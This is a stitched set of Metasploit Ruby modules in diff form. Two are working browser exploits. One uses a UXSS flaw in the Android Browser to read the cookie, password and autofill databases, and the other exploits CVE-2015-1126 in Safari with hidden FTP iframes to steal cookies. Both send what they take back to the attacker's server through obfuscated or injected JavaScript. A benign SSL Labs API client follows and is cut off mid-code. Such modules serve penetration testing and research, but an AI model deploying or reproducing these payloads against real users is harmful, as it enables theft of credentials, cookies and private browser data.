include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::JSObfu
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Browser File Theft',
|
||||
'Description' => %q{
|
||||
This module steals the cookie, password, and autofill databases from the
|
||||
Browser application on AOSP 4.3 and below.
|
||||
},
|
||||
'Author' => [
|
||||
'Rafay Baloch', # Found UXSS bug in Android Browser
|
||||
'joev' # File redirect and msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [[ 'WebServer' ]],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'References' =>
|
||||
[
|
||||
# patch for file redirection, 2014
|
||||
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
|
||||
['URL', 'https://code.google.com/p/chromium/issues/detail?id=90222'] # the UXSS
|
||||
],
|
||||
'DefaultAction' => 'WebServer'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('ADDITIONAL_FILES', [
|
||||
false,
|
||||
'Comma-separated list of addition file URLs to steal.',
|
||||
]),
|
||||
OptBool.new('DEFAULT_FILES', [
|
||||
true,
|
||||
'Steals a default set of file URLs',
|
||||
true
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.method.downcase == 'post'
|
||||
process_post(cli, request)
|
||||
send_response_html(cli, '')
|
||||
else
|
||||
print_status('Sending exploit landing page...')
|
||||
send_response_html(cli, exploit_html)
|
||||
end
|
||||
end
|
||||
|
||||
def process_post(cli, request)
|
||||
data = JSON.parse(request.body)
|
||||
contents = hex2bin(data['data'])
|
||||
file = File.basename(data['url'])
|
||||
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
|
||||
loot_path = store_loot(
|
||||
file,
|
||||
'application/x-sqlite3',
|
||||
cli.peerhost,
|
||||
contents,
|
||||
File.basename(data['url']),
|
||||
"#{cli.peerhost.ljust(16)} Android browser file"
|
||||
)
|
||||
print_good("Saved to: #{loot_path}")
|
||||
end
|
||||
|
||||
|
||||
def file_urls
|
||||
default_urls = [
|
||||
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',
|
||||
'file:///data/data/com.android.browser/databases/webview.db',
|
||||
'file:///data/data/com.android.browser/databases/autofill.db',
|
||||
'file:///data/data/com.android.browser/databases/browser2.db',
|
||||
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',
|
||||
'file:///data/data/com.android.browser/app_databases/Databases.db',
|
||||
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'
|
||||
]
|
||||
|
||||
unless datastore['DEFAULT_FILES']
|
||||
default_urls = []
|
||||
end
|
||||
|
||||
default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')
|
||||
end
|
||||
|
||||
def exploit_html
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
<script>#{exploit_js}</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
def exploit_js
|
||||
js_obfuscate %Q|
|
||||
window.onmessage = function(e) {
|
||||
var x = new XMLHttpRequest;
|
||||
x.open("POST", location.href);
|
||||
x.send(JSON.stringify(e.data))
|
||||
};
|
||||
|
||||
|
||||
function xss() {
|
||||
var urls = (#{JSON.generate(file_urls)});
|
||||
function tick() {
|
||||
setTimeout(function() { next(urls.shift()); });
|
||||
};
|
||||
window.onmessage = tick;
|
||||
|
||||
function next(url) {
|
||||
if (!url) return;
|
||||
try {
|
||||
var f = document.createElement('iframe');
|
||||
f.src = url;
|
||||
f.onload = function() {
|
||||
f.onload = null;
|
||||
function nested() {
|
||||
var x = new XMLHttpRequest;
|
||||
x.open('GET', location.href);
|
||||
x.responseType = 'arraybuffer';
|
||||
x.send();
|
||||
x.onload = function() {
|
||||
var buff = new Uint8Array(x.response);
|
||||
var hex = Array.prototype.map.call(buff, function(d) {
|
||||
var c = d.toString(16);
|
||||
return (c.length < 2) ? 0+c : c;
|
||||
}).join(new String);
|
||||
/*ensures there are no 'not allowed' responses that appear to be valid data*/
|
||||
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
|
||||
top.postMessage({data:hex,url:location.href}, '*');
|
||||
}
|
||||
parent.postMessage(1,'*');
|
||||
};
|
||||
x.onerror = function() {
|
||||
parent.postMessage(1,'*');
|
||||
};
|
||||
}
|
||||
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
|
||||
f.contentWindow.location = "";
|
||||
};
|
||||
document.body.appendChild(f);
|
||||
} catch(e) {t();}
|
||||
};
|
||||
|
||||
tick();
|
||||
|
||||
}
|
||||
|
||||
var brokenFrame = document.createElement('iframe');
|
||||
brokenFrame.src = 'http://localhost:100';
|
||||
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
|
||||
brokenFrame.onload = function() {
|
||||
brokenFrame.onload = null;
|
||||
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
|
||||
brokenFrame.contentWindow.location = "";
|
||||
};
|
||||
document.body.appendChild(brokenFrame);
|
||||
|
|
||||
end
|
||||
|
||||
# TODO: Make this a proper Rex::Text function
|
||||
def hex2bin(hex)
|
||||
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
|
||||
end
|
||||
|
||||
end
|
|
@ -117,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
response = JSON.parse(request.body)
|
||||
rescue JSON::ParserError
|
||||
print_bad "Invalid JSON request."
|
||||
print_error "Invalid JSON request."
|
||||
else
|
||||
url = response['url']
|
||||
if response && url
|
||||
|
|
|
@ -0,0 +1,261 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/service_manager'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::FtpServer
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft',
|
||||
'Description' => %q{
|
||||
A vulnerability exists in versions of OSX/iOS/Windows Safari released
|
||||
before April 8, 2015 that allows the non-HTTPOnly cookies of any
|
||||
domain to be stolen.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jouko Pynnonen', # Initial discovery and disclosure
|
||||
'joev', # msf module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2015-1126' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/30' ]
|
||||
],
|
||||
'Actions' => [ [ 'WebServer' ] ],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer',
|
||||
'DisclosureDate' => 'Apr 8 2015'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']),
|
||||
OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]),
|
||||
OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]),
|
||||
OptString.new('TARGET_DOMAINS', [
|
||||
true,
|
||||
'The comma-separated list of domains to steal non-HTTPOnly cookies from.',
|
||||
'apple.com,example.com'
|
||||
])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Start the FTP and HTTP server
|
||||
#
|
||||
def run
|
||||
start_service
|
||||
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
|
||||
start_http
|
||||
@http_service.wait
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Handle the HTTP request and return a response. Code borrowed from:
|
||||
# msf/core/exploit/http/server.rb
|
||||
#
|
||||
def start_http(opts={})
|
||||
# Ensture all dependencies are present before initializing HTTP
|
||||
use_zlib
|
||||
|
||||
comm = datastore['ListenerComm']
|
||||
if comm.to_s == 'local'
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
# Default the server host / port
|
||||
opts = {
|
||||
'ServerHost' => datastore['SRVHOST'],
|
||||
'ServerPort' => datastore['HTTPPORT'],
|
||||
'Comm' => comm
|
||||
}.update(opts)
|
||||
|
||||
# Start a new HTTP server
|
||||
@http_service = Rex::ServiceManager.start(
|
||||
Rex::Proto::Http::Server,
|
||||
opts['ServerPort'].to_i,
|
||||
opts['ServerHost'],
|
||||
datastore['SSL'],
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
opts['Comm'],
|
||||
datastore['SSLCert']
|
||||
)
|
||||
|
||||
@http_service.server_name = datastore['HTTP::server_name']
|
||||
|
||||
# Default the procedure of the URI to on_request_uri if one isn't
|
||||
# provided.
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
}.update(opts['Uri'] || {})
|
||||
|
||||
proto = (datastore['SSL'] ? 'https' : 'http')
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if opts['ServerHost'] == '0.0.0.0'
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
# Add path to resource
|
||||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
end
|
||||
|
||||
#
|
||||
# Lookup the right address for the client
|
||||
#
|
||||
def lookup_lhost(c=nil)
|
||||
# Get the source address
|
||||
if datastore['SRVHOST'] == '0.0.0.0'
|
||||
Rex::Socket.source_address( c || '50.50.50.50')
|
||||
else
|
||||
datastore['SRVHOST']
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
|
||||
#
|
||||
def on_client_command_retr(c, arg)
|
||||
conn = establish_data_connection(c)
|
||||
unless conn
|
||||
c.put("425 can't build data connection\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Connection for file transfer accepted')
|
||||
c.put("150 Connection accepted\r\n")
|
||||
|
||||
# Send out payload
|
||||
conn.put(exploit_html)
|
||||
c.put("226 Transfer complete.\r\n")
|
||||
conn.close
|
||||
end
|
||||
|
||||
#
|
||||
# Kill HTTP/FTP (shut them down and clear resources)
|
||||
#
|
||||
def cleanup
|
||||
super
|
||||
|
||||
# clear my resource, deregister ref, stop/close the HTTP socket
|
||||
begin
|
||||
@http_service.remove_resource(@uri_path)
|
||||
@http_service.deref
|
||||
@http_service.stop
|
||||
@http_service.close
|
||||
@http_service = nil
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Ensures that gzip can be used. If not, an exception is generated. The
|
||||
# exception is only raised if the DisableGzip advanced option has not been
|
||||
# set.
|
||||
#
|
||||
def use_zlib
|
||||
unless Rex::Text.zlib_present? || datastore['HTTP::compression'] == false
|
||||
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the configured (or random, if not configured) URI path
|
||||
#
|
||||
def resource_uri
|
||||
return @uri_path if @uri_path
|
||||
|
||||
@uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
|
||||
@uri_path = '/' + @uri_path if @uri_path !~ /^\//
|
||||
@uri_path
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Handle HTTP requets and responses
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
if request.method.downcase == 'post'
|
||||
json = JSON.parse(request.body)
|
||||
domain = json['domain']
|
||||
cookie = Rex::Text.decode_base64(json['p']).to_s
|
||||
if cookie.length == 0
|
||||
print_error("#{cli.peerhost}: No cookies found for #{domain}")
|
||||
else
|
||||
file = store_loot(
|
||||
"cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'
|
||||
)
|
||||
print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")
|
||||
print_good(file)
|
||||
end
|
||||
send_response(cli, 200, 'OK', '')
|
||||
else
|
||||
domains = datastore['TARGET_DOMAINS'].split(',')
|
||||
iframes = domains.map do |domain|
|
||||
%Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'
|
||||
src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>
|
||||
</iframe>|
|
||||
end
|
||||
|
||||
html = <<-HTML
|
||||
<html>
|
||||
<body>
|
||||
#{iframes.join}
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
send_response(cli, 200, 'OK', html)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create an HTTP response and then send it
|
||||
#
|
||||
def send_response(cli, code, message='OK', html='')
|
||||
proto = Rex::Proto::Http::DefaultProtocol
|
||||
res = Rex::Proto::Http::Response.new(code, message, proto)
|
||||
res['Content-Type'] = 'text/html'
|
||||
res.body = html
|
||||
|
||||
cli.send_response(res)
|
||||
end
|
||||
|
||||
def exploit_html
|
||||
<<-HTML
|
||||
<html><body>
|
||||
<script>
|
||||
var p = window.btoa(document.cookie);
|
||||
var x = new XMLHttpRequest();
|
||||
x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}")
|
||||
x.setRequestHeader('Content-type', 'text/plain');
|
||||
x.send(JSON.stringify({p: p, domain: document.domain}));
|
||||
</script>
|
||||
</body></html>
|
||||
HTML
|
||||
end
|
||||
|
||||
def grab_key
|
||||
@grab_key ||= Rex::Text.rand_text_alphanumeric(8)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,788 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'active_support/inflector'
|
||||
require 'json'
|
||||
require 'active_support/core_ext/hash'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
class InvocationError < StandardError; end
|
||||
class RequestRateTooHigh < StandardError; end
|
||||
class InternalError < StandardError; end
|
||||
class ServiceNotAvailable < StandardError; end
|
||||
class ServiceOverloaded < StandardError; end
|
||||
|
||||
class Api
|
||||
attr_reader :max_assessments, :current_assessments
|
||||
|
||||
def initialize
|
||||
@max_assessments = 0
|
||||
@current_assessments = 0
|
||||
end
|
||||
|
||||
def request(name, params = {})
|
||||
api_host = "api.ssllabs.com"
|
||||
api_port = "443"
|
||||
api_path = "/api/v2/"
|
||||
user_agent = "Msf_ssllabs_scan"
|
||||
|
||||
name = name.to_s.camelize(:lower)
|
||||
uri = api_path + name
|
||||
cli = Rex::Proto::Http::Client.new(api_host, api_port, {}, true, 'TLS1')
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'uri' => uri,
|
||||
'agent' => user_agent,
|
||||
'method' => 'GET',
|
||||
'vars_get' => params
|
||||
})
|
||||
res = cli.send_recv(req)
|
||||
cli.close
|
||||
|
||||
if res && res.code.to_i == 200
|
||||
@max_assessments = res.headers['X-Max-Assessments']
|
||||
@current_assessments = res.headers['X-Current-Assessments']
|
||||
r = JSON.load(res.body)
|
||||
fail InvocationError, "API returned: #{r['errors']}" if r.key?('errors')
|
||||
return r
|
||||
end
|
||||
|
||||
case res.code.to_i
|
||||
when 400
|
||||
fail InvocationError
|
||||
when 429
|
||||
fail RequestRateTooHigh
|
||||
when 500
|
||||
fail InternalError
|
||||
when 503
|
||||
fail ServiceNotAvailable
|
||||
when 529
|
||||
fail ServiceOverloaded
|
||||
else
|
||||
fail StandardError, "HTTP error code #{r.code}", caller
|
||||
end
|
||||
end
|
||||
|
||||
def info
|
||||
Info.load request(:info)
|
||||
end
|
||||
|
||||
def analyse(params = {})
|
||||
Host.load request(:analyze, params)
|
||||
end
|
||||
|
||||
def get_endpoint_data(params = {})
|
||||
Endpoint.load request(:get_endpoint_data, params)
|
||||
end
|
||||
|
||||
def get_status_codes
|
||||
StatusCodes.load request(:get_status_codes)
|
||||
end
|
||||
end
|
||||
|
||||
class ApiObject
|
||||
|
||||
class << self;
|
||||
attr_accessor :all_attributes
|
||||
attr_accessor :fields
|
||||
attr_accessor :lists
|
||||
attr_accessor :refs
|
||||
end
|
||||
|
||||
def self.inherited(base)
|
||||
base.all_attributes = []
|
||||
base.fields = []
|
||||
base.lists = {}
|
||||
base.refs = {}
|
||||
end
|
||||
|
||||
def self.to_api_name(name)
|
||||
name.to_s.gsub(/\?$/, '').camelize(:lower)
|
||||
end
|
||||
|
||||
def self.to_attr_name(name)
|
||||
name.to_s.gsub(/\?$/, '').underscore
|
||||
end
|
||||
|
||||
def self.field_methods(name)
|
||||
is_bool = name.to_s.end_with?('?')
|
||||
attr_name = to_attr_name(name)
|
||||
api_name = to_api_name(name)
|
||||
class_eval <<-EOF, __FILE__, __LINE__
|
||||
def #{attr_name}#{'?' if is_bool}
|
||||
@#{api_name}
|
||||
end
|
||||
def #{attr_name}=(value)
|
||||
@#{api_name} = value
|
||||
end
|
||||
EOF
|
||||
end
|
||||
|
||||
def self.has_fields(*names)
|
||||
names.each do |name|
|
||||
@all_attributes << to_api_name(name)
|
||||
@fields << to_api_name(name)
|
||||
field_methods(name)
|
||||
end
|
||||
end
|
||||
|
||||
def self.has_objects_list(name, klass)
|
||||
@all_attributes << to_api_name(name)
|
||||
@lists[to_api_name(name)] = klass
|
||||
field_methods(name)
|
||||
end
|
||||
|
||||
def self.has_object_ref(name, klass)
|
||||
@all_attributes << to_api_name(name)
|
||||
@refs[to_api_name(name)] = klass
|
||||
field_methods(name)
|
||||
end
|
||||
|
||||
def self.load(attributes = {})
|
||||
obj = self.new
|
||||
attributes.each do |name, value|
|
||||
if @fields.include?(name)
|
||||
obj.instance_variable_set("@#{name}", value)
|
||||
elsif @lists.key?(name)
|
||||
obj.instance_variable_set("@#{name}", value.map { |v| @lists[name].load(v) }) unless value.nil?
|
||||
elsif @refs.key?(name)
|
||||
obj.instance_variable_set("@#{name}", @refs[name].load(value)) unless value.nil?
|
||||
else
|
||||
fail ArgumentError, "#{name} is not an attribute of object #{self.name}"
|
||||
end
|
||||
end
|
||||
obj
|
||||
end
|
||||
|
||||
def to_json(opts = {})
|
||||
obj = {}
|
||||
self.class.all_attributes.each do |api_name|
|
||||
v = instance_variable_get("@#{api_name}")
|
||||
obj[api_name] = v
|
||||
end
|
||||
obj.to_json
|
||||
end
|
||||
end
|
||||
|
||||
class Cert < ApiObject
|
||||
has_fields :subject,
|
||||
:commonNames,
|
||||
:altNames,
|
||||
:notBefore,
|
||||
:notAfter,
|
||||
:issuerSubject,
|
||||
:sigAlg,
|
||||
:issuerLabel,
|
||||
:revocationInfo,
|
||||
:crlURIs,
|
||||
:ocspURIs,
|
||||
:revocationStatus,
|
||||
:sgc?,
|
||||
:validationType,
|
||||
:issues
|
||||
|
||||
def valid?
|
||||
issues == 0
|
||||
end
|
||||
|
||||
def invalid?
|
||||
!valid?
|
||||
end
|
||||
end
|
||||
|
||||
class ChainCert < ApiObject
|
||||
has_fields :subject,
|
||||
:label,
|
||||
:issuerSubject,
|
||||
:issuerLabel,
|
||||
:issues,
|
||||
:raw
|
||||
|
||||
def valid?
|
||||
issues == 0
|
||||
end
|
||||
|
||||
def invalid?
|
||||
!valid?
|
||||
end
|
||||
end
|
||||
|
||||
class Chain < ApiObject
|
||||
has_objects_list :certs, ChainCert
|
||||
has_fields :subject,
|
||||
:label,
|
||||
:issuerSubject,
|
||||
:issuerLabel,
|
||||
:issues,
|
||||
:raw
|
||||
|
||||
def valid?
|
||||
issues == 0
|
||||
end
|
||||
|
||||
def invalid?
|
||||
!valid?
|
||||
end
|
||||
end
|
||||
|
||||
class Key < ApiObject
|
||||
has_fields :size,
|
||||
:strength,
|
||||
:alg,
|
||||
:debianFlaw?,
|
||||
:q
|
||||
|
||||
def insecure?
|
||||
debian_flaw? || q == 0
|
||||
end
|
||||
|
||||
def secure?
|
||||
!insecure?
|
||||
end
|
||||
end
|
||||
|
||||
class Protocol < ApiObject
|
||||
has_fields :id,
|
||||
:name,
|
||||
:version,
|
||||
:v2SuitesDisabled?,
|
||||
:q
|
||||
|
||||
def insecure?
|
||||
q == 0
|
||||
end
|
||||
|
||||
def secure?
|
||||
!insecure?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class Info < ApiObject
|
||||
has_fields :engineVersion,
|
||||
:criteriaVersion,
|
||||
:clientMaxAssessments,
|
||||
:maxAssessments,
|
||||
:currentAssessments,
|
||||
:messages
|
||||
end
|
||||
|
||||
class SimClient < ApiObject
|
||||
has_fields :id,
|
||||
:name,
|
||||
:platform,
|
||||
:version,
|
||||
:isReference?
|
||||
end
|
||||
|
||||
class Simulation < ApiObject
|
||||
has_object_ref :client, SimClient
|
||||
has_fields :errorCode,
|
||||
:attempts,
|
||||
:protocolId,
|
||||
:suiteId
|
||||
|
||||
def success?
|
||||
error_code == 0
|
||||
end
|
||||
|
||||
def error?
|
||||
!success?
|
||||
end
|
||||
end
|
||||
|
||||
class SimDetails < ApiObject
|
||||
has_objects_list :results, Simulation
|
||||
end
|
||||
|
||||
class StatusCodes < ApiObject
|
||||
has_fields :statusDetails
|
||||
|
||||
def [](name)
|
||||
status_details[name]
|
||||
end
|
||||
end
|
||||
|
||||
class Suite < ApiObject
|
||||
has_fields :id,
|
||||
:name,
|
||||
:cipherStrength,
|
||||
:dhStrength,
|
||||
:dhP,
|
||||
:dhG,
|
||||
:dhYs,
|
||||
:ecdhBits,
|
||||
:ecdhStrength,
|
||||
:q
|
||||
|
||||
def insecure?
|
||||
q == 0
|
||||
end
|
||||
|
||||
def secure?
|
||||
!insecure?
|
||||
end
|
||||
end
|
||||
|
||||
class Suites < ApiObject
|
||||
has_objects_list :list, Suite
|
||||
has_fields :preference?
|
||||
end
|
||||
|
||||
class EndpointDetails < ApiObject
|
||||
has_fields :hostStartTime
|
||||
has_object_ref :key, Key
|
||||
has_object_ref :cert, Cert
|
||||
has_object_ref :chain, Chain
|
||||
has_objects_list :protocols, Protocol
|
||||
has_object_ref :suites, Suites
|
||||
has_fields :serverSignature,
|
||||
:prefixDelegation?,
|
||||
:nonPrefixDelegation?,
|
||||
:vulnBeast?,
|
||||
:renegSupport,
|
||||
:stsResponseHeader,
|
||||
:stsMaxAge,
|
||||
:stsSubdomains?,
|
||||
:pkpResponseHeader,
|
||||
:sessionResumption,
|
||||
:compressionMethods,
|
||||
:supportsNpn?,
|
||||
:npnProtocols,
|
||||
:sessionTickets,
|
||||
:ocspStapling?,
|
||||
:sniRequired?,
|
||||
:httpStatusCode,
|
||||
:httpForwarding,
|
||||
:supportsRc4?,
|
||||
:forwardSecrecy,
|
||||
:rc4WithModern?
|
||||
has_object_ref :sims, SimDetails
|
||||
has_fields :heartbleed?,
|
||||
:heartbeat?,
|
||||
:openSslCcs,
|
||||
:poodleTls,
|
||||
:fallbackScsv?
|
||||
end
|
||||
|
||||
class Endpoint < ApiObject
|
||||
has_fields :ipAddress,
|
||||
:serverName,
|
||||
:statusMessage,
|
||||
:statusDetails,
|
||||
:statusDetailsMessage,
|
||||
:grade,
|
||||
:hasWarnings?,
|
||||
:isExceptional?,
|
||||
:progress,
|
||||
:duration,
|
||||
:eta,
|
||||
:delegation
|
||||
has_object_ref :details, EndpointDetails
|
||||
end
|
||||
|
||||
class Host < ApiObject
|
||||
has_fields :host,
|
||||
:port,
|
||||
:protocol,
|
||||
:isPublic?,
|
||||
:status,
|
||||
:statusMessage,
|
||||
:startTime,
|
||||
:testTime,
|
||||
:engineVersion,
|
||||
:criteriaVersion,
|
||||
:cacheExpiryTime
|
||||
has_objects_list :endpoints, Endpoint
|
||||
has_fields :certHostnames
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SSL Labs API Client',
|
||||
'Description' => %q{
|
||||
This module is a simple client for the SSL Labs APIs, designed for SSL/TLS assessmen during a penetration testing.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Francois Chagnon' # ssllab.rb author (https://github.com/Shopify/ssllabs.rb)
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1'
|
||||
}
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HOSTNAME', [true, 'The target hostname']),
|
||||
OptInt.new('DELAY', [true, 'The delay in seconds between API requests', 5]),
|
||||
OptBool.new('USECACHE', [true, 'Use cached results (if available), else force live scan', 'true']),
|
||||
OptBool.new('GRADE', [true, 'Output only the hostname: grade', 'false']),
|
||||
OptBool.new('IGNOREMISMATCH', [true, 'Proceed with assessments even when the server certificate doesn\'t match the assessment hostname', 'true'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def report_good(line)
|
||||
print_good line
|
||||
end
|
||||
|
||||
def report_warning(line)
|
||||
print_warning line
|
||||
end
|
||||
|
||||
def report_bad(line)
|
||||
print_warning line
|
||||
end
|
||||
|
||||
def report_status(line)
|
||||
print_status line
|
||||
end
|
||||
|
||||
def output_endpoint_data(r)
|
||||
ssl_protocols = [
|
||||
{ id: 771, name: "TLS", version: "1.2", secure: true, active: false },
|
||||
{ id: 770, name: "TLS", version: "1.1", secure: true, active: false },
|
||||
{ id: 769, name: "TLS", version: "1.0", secure: true, active: false },
|
||||
{ id: 768, name: "SSL", version: "3.0", secure: false, active: false },
|
||||
{ id: 2, name: "SSL", version: "2.0", secure: false, active: false }
|
||||
]
|
||||
|
||||
report_status "-----------------------------------------------------------------"
|
||||
report_status "Report for #{r.server_name} (#{r.ip_address})"
|
||||
report_status "-----------------------------------------------------------------"
|
||||
|
||||
case r.grade.to_s
|
||||
when "A+", "A", "A-"
|
||||
report_good "Overall rating: #{r.grade}"
|
||||
when "B"
|
||||
report_warning "Overall rating: #{r.grade}"
|
||||
when "C", "D", "E", "F"
|
||||
report_bad "Overall rating: #{r.grade}"
|
||||
when "M"
|
||||
report_bad "Overall rating: #{r.grade} - Certificate name mismatch"
|
||||
when "T"
|
||||
report_bad "Overall rating: #{r.grade} - Server's certificate is not trusted"
|
||||
end
|
||||
|
||||
# Supported protocols
|
||||
r.details.protocols.each do |i|
|
||||
p = ssl_protocols.detect { |x| x[:id] == i.id }
|
||||
p.store(:active, true) if p
|
||||
end
|
||||
|
||||
ssl_protocols.each do |proto|
|
||||
if proto[:active]
|
||||
if proto[:secure]
|
||||
report_good "#{proto[:name]} #{proto[:version]} - Yes"
|
||||
else
|
||||
report_bad "#{proto[:name]} #{proto[:version]} - Yes"
|
||||
end
|
||||
else
|
||||
report_good "#{proto[:name]} #{proto[:version]} - No"
|
||||
end
|
||||
end
|
||||
|
||||
# Renegotioation
|
||||
case
|
||||
when r.details.reneg_support == 0
|
||||
report_warning "Secure renegotiation is not supported"
|
||||
when r.details.reneg_support[0] == 1
|
||||
report_bad "Insecure client-initiated renegotiation is supported"
|
||||
when r.details.reneg_support[1] == 1
|
||||
report_good "Secure renegotiation is supported"
|
||||
when r.details.reneg_support[2] == 1
|
||||
report_warning "Secure client-initiated renegotiation is supported"
|
||||
when r.details.reneg_support[3] == 1
|
||||
report_warning "Server requires secure renegotiation support"
|
||||
end
|
||||
|
||||
# BEAST
|
||||
if r.details.vuln_beast?
|
||||
report_bad "BEAST attack - Yes"
|
||||
else
|
||||
report_good "BEAST attack - No"
|
||||
end
|
||||
|
||||
# puts "POODLE (SSLv3)- ?"
|
||||
|
||||
# POODLE TLS
|
||||
case r.details.poodle_tls
|
||||
when -1
|
||||
report_warning "POODLE TLS - Test failed"
|
||||
when 0
|
||||
report_warning "POODLE TLS - Unknown"
|
||||
when 1
|
||||
report_good "POODLE TLS - No"
|
||||
when 2
|
||||
report_bad "POODLE TLS - Yes"
|
||||
end
|
||||
|
||||
# Downgrade attack prevention
|
||||
if r.details.fallback_scsv?
|
||||
report_good "Downgrade attack prevention - Yes"
|
||||
else
|
||||
report_bad "Downgrade attack prevention - No"
|
||||
end
|
||||
|
||||
# RC4
|
||||
if r.details.supports_rc4?
|
||||
report_warning "RC4 - Server supports at least one RC4 suite"
|
||||
else
|
||||
report_good "RC4 - No"
|
||||
end
|
||||
|
||||
# RC4 with modern browsers
|
||||
report_warning "RC4 is used with modern clients" if r.details.rc4_with_modern?
|
||||
|
||||
# Heartbeat
|
||||
if r.details.heartbeat?
|
||||
report_status "Heartbeat (extension) - Yes"
|
||||
else
|
||||
report_status "Heartbeat (extension) - No"
|
||||
end
|
||||
|
||||
# Heartbleed
|
||||
if r.details.heartbleed?
|
||||
report_bad "Heartbleed (vulnerability) - Yes"
|
||||
else
|
||||
report_good "Heartbeat (vulnerability) - No"
|
||||
end
|
||||
|
||||
# OpenSSL CCS
|
||||
case r.details.open_ssl_ccs
|
||||
when -1
|
||||
report_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Test failed"
|
||||
when 0
|
||||
